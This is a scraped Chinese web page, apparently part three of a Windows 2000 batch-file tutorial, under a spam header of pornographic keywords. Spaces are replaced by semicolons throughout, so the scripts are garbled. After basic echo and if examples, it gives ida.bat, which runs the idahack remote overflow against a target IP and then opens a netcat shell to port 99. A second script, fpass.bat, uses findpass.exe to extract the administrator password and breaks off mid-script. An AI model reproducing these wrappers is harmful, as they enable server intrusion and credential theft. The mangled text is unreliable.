日本免费全黄少妇一区二区三区-高清无码一区二区三区四区-欧美中文字幕日韩在线观看-国产福利诱惑在线网站-国产中文字幕一区在线-亚洲欧美精品日韩一区-久久国产精品国产精品国产-国产精久久久久久一区二区三区-欧美亚洲国产精品久久久久

win2000命令行方式批處理BAT文件技巧( 三 )


@echo;plese;care;1111;
@echo;plese;care;2222;
@echo;plese;care;3333;
rem;不顯示注釋語句,本行顯示;
@rem;不顯示注釋語句,本行不顯示;
@if;exist;%windir%/system32/find.exe;(echo;Find;find.exe;!!!);else;(echo;ERROR:;Not;find;find.exe);
@if;exist;%windir%/system32/fina.exe;(echo;Find;fina.exe;!!!);else;(echo;ERROR:;Not;find;fina.exe);
___________________________________________________________________________;
下面我們以具體的一個(gè)idahack程序就是ida遠(yuǎn)程溢出為例子.應(yīng)該是很簡單的.;
___________________ida.bat_________________________________________________;
@rem;ver;1.0;
@if;NOT;exist;%windir%/system32/idahack.exe;echo;"ERROR:;dont;find;idahack.exe"
@if;NOT;exist;%windir%/system32/nc.exe;echo;"ERROR:;dont;find;nc.exe"
@if;"%1";=="";goto;USAGE;
@if;NOT;"%2";=="";goto;SP2;
:start;
@echo;Now;start;...;
@ping;%1;
@echo;chinese;win2k:1;sp1:2;sp2:3;
idahack.exe;%1;80;1;99;>%temp%/_tmp;
@echo;"prog;exit;code;[%errorlevel%];idahack.exe"
@type;%temp%/_tmp;
@find;"good;luck;:)";%temp%/_tmp;
@echo;"prog;exit;code;[%errorlevel%];find;[goog;luck]"
@if;NOT;errorlevel;1;nc.exe;%1;99;
@goto;END;
:SP2;
@idahack.exe;%1;80;%2;99;%temp%/_tmp;
@type;%temp%/_tmp;
@find;"good;luck;:)";%temp%/_tmp;
@if;NOT;errorlevel;1;nc.exe;%1;99;
@goto;END;
:USAGE;
@echo;Example:;ida.bat;IP;
@echo;Example:;ida.bat;IP;(2,3);
:END;
_____________________ida.bat__END_________________________________;
下面我們?cè)賮淼诙€(gè)文件.就是得到administrator的口令.;
大多數(shù)人說得不到.其實(shí)是自己的沒有輸入正確的信息.;
___________________________fpass.bat____________________________________________;
@rem;ver;1.0;
@if;NOT;exist;%windir%/system32/findpass.exe;echo;"ERROR:;dont;find;findpass.exe"
@if;NOT;exist;%windir%/system32/pulist.exe;echo;"ERROR:;dont;find;pulist.exe"
@echo;start....;
@echo;____________________________________;
@if;"%1"=="";goto;USAGE;
@findpass.exe;%1;%2;%3;>>;%temp%/_findpass.txt;
@echo;"prog;exit;code;[%errorlevel%];findpass.exe"
@type;%temp%/_findpass.txt;
@echo;________________________________Here__pass

推薦閱讀